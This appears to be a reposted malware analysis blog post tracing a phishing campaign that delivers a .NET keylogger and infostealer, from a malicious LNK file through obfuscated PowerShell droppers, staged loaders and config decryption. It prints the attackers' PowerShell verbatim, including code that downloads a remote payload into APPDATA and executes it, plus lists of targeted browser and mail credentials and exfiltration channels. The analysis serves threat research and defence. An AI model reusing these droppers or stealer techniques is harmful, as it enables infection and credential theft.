Kraken – The Deep Sea Lurker Part 1

逆向病毒分析 1年前 (2023) admin
469 0 0


In this first part we will be going through a recent phishing campaign delivering a never seen before “KrakenKeylogger” malware.

The PhishPermalink

The mail sent to the victim is a simple malspam mail with archive attachment:

Kraken - The Deep Sea Lurker Part 1

The archive is a .zip archive that contains .lnk file:

Kraken - The Deep Sea Lurker Part 1

LNK AnalysisPermalink

LEcmd ToolPermalink

In order to analyze an .lnk file I use the LeCMD tool. By using the tool we can see that the .lnk will execute PowerShell.exe alongside with an argument:

Kraken - The Deep Sea Lurker Part 1

PowerShell ScriptPermalink

Let’s breakdown the script:

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted $ProgressPreference = 0; 
function nvRClWiAJT($OnUPXhNfGyEh){ 
    $OnUPXhNfGyEh[$OnUPXhNfGyEh.Length..0] -join('')

function sDjLksFILdkrdR($OnUPXhNfGyEh){ 
    $vecsWHuXBHu = nvRClWiAJT $OnUPXhNfGyEh; 
    for($TJuYrHOorcZu = 0;$TJuYrHOorcZu -lt $vecsWHuXBHu.Length;$TJuYrHOorcZu += 2){ 
            $zRavFAQNJqOVxb += nvRClWiAJT $vecsWHuXBHu.Substring($TJuYrHOorcZu,2)
            $zRavFAQNJqOVxb += $vecsWHuXBHu.Substring($TJuYrHOorcZu,1)

$NpzibtULgyi = sDjLksFILdkrdR 'aht1.sen/hi/coucys.erstmaofershma//s:tpht'; 
$cDkdhkGBtl = $env:APPDATA + '\' + ($NpzibtULgyi -split '/')[-1]; 
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; 
$wbpiCTsGYi = wget $NpzibtULgyi -UseBasicParsing; 
[IO.File]::WriteAllText($cDkdhkGBtl, $wbpiCTsGYi); & $cDkdhkGBtl; 
sleep 3; 
rm $cDkdhkGBtl;

The script will create a new string which will be the URL to the next payload, the script will take the obfuscated URL string and will deobfuscate it in several steps:

  1. The string will be reversed by the function nvRClWiAJT.
  2. a for loop will iterate through the flipped string and will jump every 2 chars.
  3. each iteration 2 chars will be flipped again, and in the last iteration the last char will flipped also but it won’t have any effect.

Here is a quick python script that does this process:

input_string = 'aht1.sen/hi/coucys.erstmaofershma//s:tpht'[::-1]
output_string = ''

for i in range(0, len(input_string), 2):
        tmp = input_string[i] + input_string[i + 1]
        output_string += tmp[::-1]
        output_string += input_string[i]



The fetched payload will be yet another powershell script:

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted 

function WQgtWbWK($FL, $i){
    [IO.File]::WriteAllBytes($FL, $i)

function APcZNMgjQ($FL){
    if($FL.EndsWith((QXUpF @(4995,5049,5057,5057))) -eq $True){
        Start-Process (QXUpF @(5063,5066,5059,5049,5057,5057,5000,4999,4995,5050,5069,5050)) $FL
        Start-Process $FL

function laiLJMT($eh){
    $LM = New-Object (QXUpF @(5027,5050,5065,4995,5036,5050,5047,5016,5057,5054,5050,5059,5065));
    [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;
    $i = $LM.DownloadData($eh);
    return $i

function QXUpF($P){
    foreach($WK in $P){
    return $s

function deaNPih(){
    $AVYABiApT = $env:APPDATA + '\';
    $XdOFJCmMx = laiLJMT (QXUpF @(5053,5065,5065,5061,5064,5007,4996,4996,5058,5046,5064,5053,5050,5063,5060,5051,5058,5046,5064,5065,5050,5063,5064,4995,5048,5070,5060,5066,4996,5048,5053,5054,5059,4996,5064,5050,4998,4995,5050,5069,5050));
    $qNfQDXYlR = $AVYABiApT + 'se1.exe';
    WQgtWbWK $qNfQDXYlR $XdOFJCmMx;
    APcZNMgjQ $qNfQDXYlR;;;;


The script has several obfuscated strings that are being deobfuscated using the function QXUpF by simply going over each number and substracting 4949 from it. here is a quick script that will deobfuscate those strings and print the clear strings:

stringsList = [[4995,5049,5057,5057],[5063,5066,5059,5049,5057,5057,5000,4999,4995,5050,5069,5050],[5027,5050,5065,4995,5036,5050,5047,5016,5057,5054,5050,5059,5065],[5053,5065,5065,5061,5064,5007,4996,4996,5058,5046,5064,5053,5050,5063,5060,5051,5058,5046,5064,5065,5050,5063,5064,4995,5048,5070,5060,5066,4996,5048,5053,5054,5059,4996,5064,5050,4998,4995,5050,5069,5050]]

for string in stringsList:
    tmp = ''
    for char in string:
        tmp += chr(char - 4949)
    print(f'[+] - {tmp}')
[+] - .dll
[+] - rundll32.exe
[+] - Net.WebClient
[+] -

The script will download another file from the same domain previously used for fetching the .hta file in the previous powershell script.

.NET LoaderPermalink

Stage 1Permalink

the fetched executable (se1.exe) is a .NET executable:

Kraken - The Deep Sea Lurker Part 1

the loader will decrypt embedded resource DataBasePracticalJob using the encryption algorithim RC2, the key for the encryption will be the MD5 hash value of the hardcoded string QEssDJZhQnLywDnJGpBEr (The interesting part here is that the hashing applied on the string after encoding it with BigEndianUnicode0x00 appends as a suffix to each byte.) Here is a diagram of the decryption process:

Kraken - The Deep Sea Lurker Part 1

you can use this CyberChef Recipe in order to calculate the MD5 hash easily. Then using RC2 decryption in CyberChef we can also fetch the 2nd stage:

Kraken - The Deep Sea Lurker Part 1

Stage 2Permalink

The second stage is a .NET DLL which will be invoked by the first stage executable.
The DLL will be invoke on its first public exported method which is syncfusion:

Kraken - The Deep Sea Lurker Part 1

The second stange DLL will have 2 embedded resources that will be decrypted, the first embedded resource SeaCyanPul will be a .DLL that will be in charge of injecting the final payload to RegAsm.exe (won’t be getting into it right now but the 3rd stage will be uploaded to Malware Bazaar)
The second resource UnknownDetails will be our final payload which will be decrypted using a simple AES-ECB encryption routine without IV, the key in this case will be a sha256 of null value:

Kraken - The Deep Sea Lurker Part 1 Kraken - The Deep Sea Lurker Part 1

Kraken - The Deep Sea Lurker Part 1

As I wrote before that, the payload will injected to RegAsm.exe

Kraken PayloadPermalink

The Kraken payload 32-bit .NET binary, so we can work with DnSpy to go over some of it functionalities.

Kraken ConfigsPermalink

The configs of the Kraken stored in the .cctor of the main class:

Kraken - The Deep Sea Lurker Part 1

Some of the configs are encrypted using DES-EBC encryption routine without IV, the key is MD5 hash of a preconfigured string, in this case: swCpiTiAhkkEpyDZTnAGhOBZpr, here is a quick python script that will decrypt the config strings for us:

import malduck, base64
from Crypto.Cipher import DES
encryptedStringsDict = {
    'PersonalEmail': 'KYlYJirrzmj9NFMzqVxdqqmBPWvogKC9',
    'PersonalEmailPassword': 'lNI13bp6TxER2sT4YYxfjw==',
    'PersonalEmailHost': '6pvSg6TWhxedDZq2k3/l06fwica30Jlg',
    'TheSMTPReciver': 'qUQWGy6wVRm4PKDty97tnE+Z3alydqyP',
    'PersonalEmailPort': 'VqONpyzLqFY=',
    'PersonalHostLink': 'EdrE+GGMX48=',
    'PersonalHostPassword': 'EdrE+GGMX48=',
    'PersonalHostUsername': 'EdrE+GGMX48=',
    'TheTelegramToken': 'EdrE+GGMX48=',
    'PersonalTeleID': 'EdrE+GGMX48='

md5hashKey = malduck.md5(b'swCpiTiAhkkEpyDZTnAGhOBZpr')[:8]
for k,v in encryptedStringsDict.items():
    des =, DES.MODE_ECB)
    decVal = des.decrypt(base64.b64decode(v))
    print(f'[+] {k} - {decVal.decode()}')

[+] PersonalEmail - [email protected]
[+] PersonalEmailPassword - O@1234
[+] PersonalEmailHost -
[+] TheSMTPReciver - [email protected]
[+] PersonalEmailPort - 587
[+] PersonalHostLink 
[+] PersonalHostPassword 
[+] PersonalHostUsername 
[+] TheTelegramToken 
[+] PersonalTeleID 

So now we have the configuration of the Kraken, let’s move to some capabilities overview:

Custom CommandsPermalink

The Kraken has several functions that can be executed (only if the user of the malware flag them during the compilation process of the stub), such as:

  • TimeToRun
  • LoadWeb
  • Disable_Task
  • Disable_CommandPrompt
  • Disable_Regis
  • ProcessKiller
Kraken - The Deep Sea Lurker Part 1

Nothing really interesting here, probably some persistence methods/VM checks.

Harvesting CapabilitiesPermalink

The kraken follows the usual info stealer path as stealing local Outlook, Foxmail, ThunderBird mails credentials.

Kraken - The Deep Sea Lurker Part 1

It will lookup for credentials in those browsers:

  • Google Chrome
  • QQ Browser
  • Vivaldi Browser
  • Chromium Browser
  • Cent Browser
  • Chedot Browser
  • 360Browser
  • Brave
  • Torch
  • UC Browser
  • Blisk
  • Opera
  • Avast Browser
  • Edge
  • Google Chrome Canary
  • Firefox
  • CocCoc
  • Citrio Browser
  • CoolNovo
  • Epic Privacy Browser

The Kraken will also look for FileZilla Credentials


Kraken - The Deep Sea Lurker Part 1


The Kraken allows exfiltration via:

  • FTP
  • SMTP
  • Telegram Bot


Kraken - The Deep Sea Lurker Part 1


Kraken - The Deep Sea Lurker Part 1

Telegram BotPermalink

Kraken - The Deep Sea Lurker Part 1

Post Exfiltration ActionsPermalink

After the stealing process was done, the Kraken will automatically start a keylogging process + screenshot capturing of the victim’s computer:

Kraken - The Deep Sea Lurker Part 1



In this blog I’ve covered a new .NET based stealer/keylogger malware, the way it was used in a phishing campaign, and a dive into the loader/injection process including overview of the malware capabilities and config extraction.

Part 2Permalink

In part 2 I will be explaining my Threat hunting process, why the malware being flagged falsely? and how I managed to find more samples that helped me confirm my findings.


原文始发于0xToxin:Kraken – The Deep Sea Lurker Part 1

版权声明:admin 发表于 2023年5月23日 上午8:57。
转载请注明:Kraken – The Deep Sea Lurker Part 1 | CTF导航